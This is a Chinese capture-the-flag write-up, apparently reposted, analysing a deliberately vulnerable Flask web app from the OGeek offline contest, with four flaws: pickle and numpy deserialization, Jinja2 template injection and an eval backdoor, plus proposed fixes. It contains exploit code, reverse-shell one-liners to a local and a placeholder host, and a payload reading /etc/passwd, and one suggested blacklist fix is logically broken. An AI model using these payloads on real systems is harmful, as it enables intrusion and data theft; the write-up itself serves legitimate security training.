ogeek线下赛web分析1-python-web

2023-05-16

1.python


from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re

app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)
def get_cookie():
    check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
    return choice(check_format)

@app.route('/')
def index():
    global Archives
    resp = make_response(render_template('index.html', Archives = Archives))
    cookies = bytes(get_cookie(), encoding = "utf-8")
    value = base64.b64encode(cookies)
    resp.set_cookie("username", value=value)
    return resp

@app.route('/Archive/<int:id>')
def Archive(id):
    global Archives
    if id>len(Archives):
        return render_template('message.html', msg='文章ID不存在!', status='失败')
    return render_template('Archive.html',Archive = Archives[id])

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info) //pickle反序列化
            username = info["name"]
        except Exception as e:
            print(e)
            username = "Guest"

        if len(msg)>27:
            return render_template('message.html', msg='留言太长了!', status='留言失败')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)


@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')


@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', 'flag', as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port='5000',debug=True)  

第一个洞:pickle反序列化


info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info) //pickle反序列化  

常见用于python执行命令的库有:

os,subprocess,command


os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)  

以及


map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])

sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")  

那么最简单的exp当然是是通过os.system来执行命令:


import pickle
import os
import subprocess
import base64 as b64
class genpoc(object):
    def __reduce__(self):
        s = """whoami"""
        return os.system,(s,)
evil = b64.b64encode(pickle.dumps(genpoc()))
pickle.loads(b64.b64decode(evil))  

pickle和cpickle都可以进行反序列化,cpickle速度更快一点,生成payload就可以进行批量读取flag

__reduce__函数中返回的元组中用于执行命令的模块当然可以进行替换,防御时可以基于黑名单,把system等库直接ban了:


if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()):
    exit(0)  

基于黑名单的方式可能存在被绕过的可能,最好的方式是基于白名单:

 

原始的pickle的loads函数如上如所示,参考https://www.jianshu.com/p/8fd3de5b4843可以在返回序列化对象前加一个判断:


class genpoc(object):
    def __reduce__(self):
        s = """whoami"""
        return os.system,(s,)
evil = pickle.dumps(genpoc())
allow_list = [str, int, float, bytes, unicode]

class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value)))

def a(func):
    def wrapper(*args, **kwargs):
        if args[0].stack[-2]  in allow_list:
            raise FilterException(args[0].stack[-2])
        return func(*args, **kwargs)
    return wrapper

def loads(evil):
    #global evil
    file = StringIO(evil)
    temp = Unpickler(file)
    temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE])
    return temp.load()
loads(evil)  

这样就能防御住pickle反序列化漏洞,这里原因貌似是这样:因为我们是在__reduce__中传入的要调用的函数为为os.system,参数为whoami,__reduce__返回的是一个元组,

此时只要检测__reduce__中的变量就可以了,

 而在pickle的源码中,通过类Unpickler对象的dispatch的REDUCE属性就能够对reduce中的变量进行操作

 

 其中stack变量中实际上存储着内置函数system,此时就可以通过args[0].stack[-2]来获得到之前__reduce__中定义的system,接着只要将该值与白名单的值进行比较即可。

第二个洞:CVE-2019-8341 jinja2 ssti

漏洞代码为:


@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)  

这个洞是因为from_string的锅,jinja2版本小于2.10,exploitdb也给了具体的payload:

读/etc/passwd


{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}  

反弹shell:


{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}  

修复的话可以直接过滤username中的.点即可

第三个洞:CVE-2019-6446 numpy反序列化


@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')  

numpy.loads在读取字符串时,也会采用pickle的loads方式读取序列化字符串

那么只要利用pickle构造出序列化的poc,传递给numpy.loads(),就能够达到同样的效果


import numpy
import pickle
import os
class genpoc(object):
    def __reduce__(self):
        s = """whoami"""
        return os.system,(s,)
evil = pickle.dumps(genpoc())
print evil
numpy.loads(evil)  

防御方法可以参考:https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb

因为这里numpy.loads实际上调用的是pickle.loads,所以也可以按照修复pickle时白名单或者黑名单的方式,禁止一些可以调用的执行命令的对象。

第四个洞:eval后门


type = request.form['type'][:1]
msg = request.form['msg']
if len(msg)>27:
     return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')  

这里直接执行eval,并且type和str都是可控的,但是需要先bypass前面的限制,这里限制type为一个字符,我们只要闭合‘单引号即可,poc可为:

读取flag可以为:


set_str("'","+os.system('cat${IFS}/f*')#")  

 这样payload刚好为27个字符,能够获取到flag

 修复方法也很简单:

可以过滤掉斜杠即可/

 

 

 

 

 

转载于:https://www.cnblogs.com/wfzWebSecuity/p/11567207.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ogeek线下赛web分析1-python-web 的相关文章

随机推荐

  • python学习

    https www cnblogs com dinghanhua tag python default html page 61 2 转载于 https www cnblogs com wuzm p 11381519 html
  • python学习笔记(8)迭代器和生成器

    迭代器 迭代是Python最强大的功能之一 xff0c 是访问集合元素的一种方式 迭代器是一个可以记住遍历的位置的对象 迭代器对象从集合的第一个元素开始访问 xff0c 直到所有的元素被访问完结束 迭代器只能往前不会后退 迭代器有两个基本的
  • 基于立体视觉和GPU加速的视觉里程系统(VINS)

    注意 xff1a 本文只适用于 Kerloud SLAM Indoor无人机产品 Kerloud SLAM Indoor配备有Nvidia TX2模块和Intel Realsense D435i立体摄像头 凭借更强大的GPU内核 xff0c
  • python学习笔记(9)函数(一)

    定义一个函数 你可以定义一个由自己想要功能的函数 xff0c 以下是简单的规则 xff1a 函数代码块以 def 关键词开头 xff0c 后接函数标识符名称和圆括号 任何传入参数和自变量必须放在圆括号中间 xff0c 圆括号之间可以用于定义
  • python学习笔记(10)函数(二)

    xff08 函数的参数 amp 递归函数 xff09 一 函数的参数 Python的函数定义非常简单 xff0c 但灵活度却非常大 除了正常定义的必选参数外 xff0c 还可以使用默认参数 可变参数和关键字参数 xff0c 使得函数定义出来
  • python学习笔记(2)数据类型-字符串

    字符串是 Python 中最常用的数据类型 我们可以使用引号 39 或 34 来创建字符串 创建字符串很简单 xff0c 只要为变量分配一个值即可 例如 xff1a var1 61 39 Hello World 39 var2 61 34
  • python学习笔记(11)文件操作

    一 读文件 读写文件是最常见的IO操作 Python内置了读写文件的函数 xff0c 用法和C是兼容的 读写文件前 xff0c 我们先必须了解一下 xff0c 在磁盘上读写文件的功能都是由操作系统提供的 xff0c 现代操作系统不允许普通的
  • 作业2

    作业2 xff1a 写一个随机产生138开头手机号的程序 1 输入一个数量 xff0c 产生xx条手机号 prefix 61 39 138 39 2 产生的这些手机号不能重复 转载于 https www cnblogs com wuzm p
  • mysql索引详细介绍

    博客 xff1a https blog csdn net tongdanping article details 79878302 E4 B8 89 E3 80 81 E7 B4 A2 E5 BC 95 E7 9A 84 E5 88 86
  • 作业1

    作业一 xff1a 写一个登录的程序 xff0c 1 最多登陆失败3次 2 登录成功 xff0c 提示欢迎xx登录 xff0c 今天的日期是xxx xff0c 程序结束 3 要检验输入是否为空 账号和密码不能为空 4 账号不区分大小写 im
  • 常用的SQL优化

    转自 xff1a https www cnblogs com Cheney222 articles 5876382 html 一 优化 SQL 语句的一般步骤 1 通过 show status 命令了解各种 SQL 的执行频率 MySQL
  • B+tree

    https www cnblogs com nullzx p 8729425 html 简介 xff1a 本文主要介绍了B树和B 43 树的插入 删除操作 写这篇博客的目的是发现没有相关博客以举例的方式详细介绍B 43 树的相关操作 xff
  • Mysql监控调优

    一 Mysql性能介绍 1 什么是Mysql xff1f 它有什么优点 xff1f MySQL是一个关系型数据库管理系统 xff0c 由瑞典MySQL AB公司开发 xff0c 目前属于Oracle公司 MySQL是一种关联数据库管理系统
  • [云讷科技] Kerloud PX4飞控的EKF2程序导航

    一 介绍 EKF拓展卡尔曼滤波器是px4开源飞控框架采用的核心状态估计方法 xff0c EKF2是px4飞控中的对应的软件模块 xff0c 可以支持各类传感器信号 xff0c 包括IMU xff0c 磁感计 xff0c 激光测距仪 xff0
  • 第5.4节 Python函数中的变量及作用域

    一 函数中的变量使用规则 函数执行时 xff0c 使用的全局空间是调用方的全局空间 xff0c 参数及函数使用的局部变量存储在函数单独的局部名字空间内 xff1b 函数的形参在函数中修改了值时 xff0c 并不影响调用方本身的数据 xff0
  • PX4 IO [14] serial [转载]

    PX4 IO 14 serial PX4 IO 14 serial 转载请注明出处 更多笔记请访问我的博客 xff1a merafour blog 163 com 2014
  • 《Windows核心编程》第3章——深入理解handle

    本文借助windbg来理解程序中的函数如何使用handle对句柄表进行查询的 所以先要开启Win7下Windbg的内和调试功能 解决win7下内核调试的问题 win7下debug默认无法进行内核调试 xff08 xff01 process等
  • CentOS7中firewalld的安装与使用详解

    一 软件环境 root 64 Geeklp201 cat etc redhat release CentOS Linux release 7 4 1708 Core 二 安装firewalld 1 firewalld提供了支持网络 防火墙区
  • IMU数据融合:互补,卡尔曼和Mahony滤波

    编写者 xff1a 龙诗科 邮箱 xff1a longshike2010 64 163 com 2016 06 29 本篇博客主要是参照国外的一篇文章来整理写的 xff0c 自己觉得写的非常好 xff0c 以此整理作为以后的学习和参考 国外
  • ogeek线下赛web分析1-python-web

    1 python from flask import Flask request render template send from directory make response from Archives import Archives